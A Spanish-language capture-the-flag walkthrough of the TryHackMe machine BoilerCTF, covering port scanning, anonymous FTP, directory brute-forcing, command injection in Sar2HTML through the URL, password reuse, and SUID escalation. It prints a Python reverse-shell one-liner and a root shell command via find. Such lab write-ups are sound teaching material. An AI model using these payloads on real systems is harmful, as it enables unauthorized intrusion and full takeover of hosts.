BoilerCTF es una maquina de TryHackMe, la herramienta para trazar estadisticas Sar2HTML tiene una vulnerabilidad RCE la cual explotamos para obtener una shell. En el movimiento lateral encontramos contraseñas en el log de acceso de SSH del usuario Basterd. Nuevamente obtuvimos acceso a otro usuario con una contraseña almacenada. Finalmente encontramos un fichero con permisos SUID la cual nos dio acceso privilegiado.
Room
NMAP
Escaneo de puertos tcp, nmap nos muestra el puerto ftp (21), http (80), Webmin (10000) y el puerto ssh (55007) abiertos.
1
2
3
4
5
6
7
8
9
10
11
12
13
|
# Nmap 7.80 scan initiated Tue Aug 11 21:20:00 2020 as: nmap -sV -o mini_scan boiler.thm
Nmap scan report for boiler.thm (10.10.29.145)
Host is up (0.25s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
10000/tcp open http MiniServ 1.930 (Webmin httpd)
55007/tcp open unknown
Service Info: OS: Unix
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Aug 11 21:21:19 2020 -- 1 IP address (1 host up) scanned in 78.77 seconds
|
Para verificar SSH en el puerto 55007 utilizamos netcat.
1
2
3
|
root@upset:~/thm/boilerctf# nc boiler.thm 55007
SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.8
^C
|
FTP
Ingresamos en el servicio FTP con las credenciales anonymous, encontramos un archivo que contiene un mensaje cifrado.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
root@upset:~/thm/boilerctf# ftp boiler.thm
Connected to boiler.thm.
220 (vsFTPd 3.0.3)
Name (boiler.thm:root): anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -lah
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x 2 ftp ftp 4096 Aug 22 2019 .
drwxr-xr-x 2 ftp ftp 4096 Aug 22 2019 ..
-rw-r--r-- 1 ftp ftp 74 Aug 21 2019 .info.txt
226 Directory send OK.
ftp> get .info.txt
local: .info.txt remote: .info.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for .info.txt (74 bytes).
226 Transfer complete.
74 bytes received in 0.00 secs (802.9514 kB/s)
ftp> pwd
257 "/" is the current directory
ftp> quit
221 Goodbye.
root@upset:~/thm/boilerctf# cat .info.txt
Whfg jnagrq gb frr vs lbh svaq vg. Yby. Erzrzore: Rahzrengvba vf gur xrl!
root@upset:~/thm/boilerctf#
|
Utilizamos dcode.fr para obtener el mensaje, pero no ayudo mucho.
HTTP
Encontramos una pagina web en el puerto 80.
GOBUSTER
Utilizamos gobuster para busqueda de directorios y archivos.
1
2
3
4
5
6
7
8
|
root@upset:~/thm/boilerctf# gobuster dir -u http://boiler.thm/ -w /usr/share/wordlists/dirb/common.txt -q -t 25 -x php,html,txt
/index.html (Status: 200)
/index.html (Status: 200)
/joomla (Status: 301)
/manual (Status: 301)
/robots.txt (Status: 200)
/robots.txt (Status: 200)
/server-status (Status: 403)
|
En robots.txt
encontramos varias direcciones “escondidas”, además de eso un mensaje “codificado”.
Utilizamos ASCII to text para obtener un nueva cadena codificada.
Utilizamos CyberChef para decodificar la cadena.
Utilizamos CrackStation para obtener el mensaje que no sirve de mucho.
GOBUSTER - JOOMLA
Pagina en Joomla.
Utilizamos gobuster para busqueda de directorios y archivos en /joomla
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
root@upset:~/thm/boilerctf# gobuster dir -u http://boiler.thm/joomla/ -w /usr/share/wordlists/dirb/common.txt -q -t 25 -x php,html,txt
/_files (Status: 301)
/_test (Status: 301)
/~www (Status: 301)
/administrator (Status: 301)
/bin (Status: 301)
/build (Status: 301)
/cache (Status: 301)
/components (Status: 301)
/configuration.php (Status: 200)
/images (Status: 301)
/includes (Status: 301)
/index.php (Status: 200)
/index.php (Status: 200)
/installation (Status: 301)
/language (Status: 301)
/layouts (Status: 301)
/libraries (Status: 301)
/LICENSE.txt (Status: 200)
/media (Status: 301)
/modules (Status: 301)
/plugins (Status: 301)
/README.txt (Status: 200)
/templates (Status: 301)
/tests (Status: 301)
/tmp (Status: 301)
/web.config.txt (Status: 200)
|
En /_files
encontramos una cadena codificada.
Utilizamos CyberChef para decodificar la cadena y encontramos un posible nombre de usuario.
En /_database
encontramos una cadena cifrada.
Utilizamos dcode.fr para decifrar el mensaje pero no sirvio de nada.
Sar2HTML - RCE
En /_test
encontramos Sar2HTML al buscar una vulnerabilidad en este software encontramos que podemos ejecutar comandos en la maquina. Para ello debemos de seleccionar el Sistema Operativo (OS) y en la URL _test/index.php?plot=;COMANDO
colocamos nuestro comando a ejecutar y al final del dropdown en Select Host
encontramos el resultado de nuestro comando ejecutado. Ejecutamos id.
Ejecutamos ls -lah
y tambien logramos ver el resultado, donde vemos el archivo log.txt
.
Hacemos cat al archivo, utilizamos CyberChef - Strip HTML tags para leer el html que se muestra y obtener el resultado limpio.
USER - WWW-DATA/BASTERD
Encontramos en el archivo un log de acceso del servicio SSH donde se muestra el usuario basterd
y su “contraseña”.
1
2
3
4
5
6
7
8
9
10
11
|
Select HostHPUXLinuxSunOS
Aug 20 11:16:26 parrot sshd[2443]:
Server listening on 0.0.0.0 port 22.Aug 20 11:16:26 parrot sshd[2443]:
Server listening on :: port 22.
Aug 20 11:16:35 parrot sshd[2451]: Accepted password for basterd from 10.1.1.1 port 49824 ssh2 #pass: [... REDACTED ...]
Aug 20 11:16:35 parrot sshd[2451]: pam_unix(sshd:session): session opened for user pentest by (uid=0)
Aug 20 11:16:36 parrot sshd[2466]: Received disconnect from 10.10.170.50 port 49824:11: disconnected by user
Aug 20 11:16:36 parrot sshd[2466]: Disconnected from user pentest 10.10.170.50 port 49824
Aug 20 11:16:36 parrot sshd[2451]: pam_unix(sshd:session): session closed for user pentest
Aug 20 12:24:38 parrot sshd[2443]: Received signal 15; terminating.
Select Host FirstSelect Start Date First
|
Ejecutamos una shell inversa y obtenemos una shell con el usuario www-data
.
1
|
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
|
Además utilizamos la contraseña que encontramos en el servicio SSH y obtenemos una shell con el usuario basterd
.
USER - STONER
En la carpeta principal de basterd
encontramos un archivo que realiza una copia a /usr/local/backup
y log en /home/stoner/bck.log
de todo lo que existe en /home/stoner
, además encontramos lo que parece ser una “contraseña” comentada.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
REMOTE=1.2.3.4
SOURCE=/home/stoner
TARGET=/usr/local/backup
LOG=/home/stoner/bck.log
DATE=`date +%y\.%m\.%d\.`
USER=stoner
#[... REDACTED ...]
ssh $USER@$REMOTE mkdir $TARGET/$DATE
if [ -d "$SOURCE" ]; then
for i in `ls $SOURCE | grep 'data'`;do
echo "Begining copy of" $i >> $LOG
scp $SOURCE/$i $USER@$REMOTE:$TARGET/$DATE
echo $i "completed" >> $LOG
if [ -n `ssh $USER@$REMOTE ls $TARGET/$DATE/$i 2>/dev/null` ];then
rm $SOURCE/$i
echo $i "removed" >> $LOG
echo "####################" >> $LOG
else
echo "Copy not complete" >> $LOG
exit 0
fi
done
else
echo "Directory is not present" >> $LOG
exit 0
fi
|
Utilizamos la “contraseña” y logramos obtener una shell con el usuario stoner
y nuestra flag user.txt
.
PRIVILEGE ESCALATION
Hacemos una pequeña enumeracion con find
para encontrar archivos con permisos SUID y vemos el comando/archivo find
. Utilizamos find para obtener una shell root.
1
|
/usr/bin/find . -exec /bin/sh -p \; -quit
|
Obtenemos una shell con el usuario root
.
Y nuestra flag root.txt
.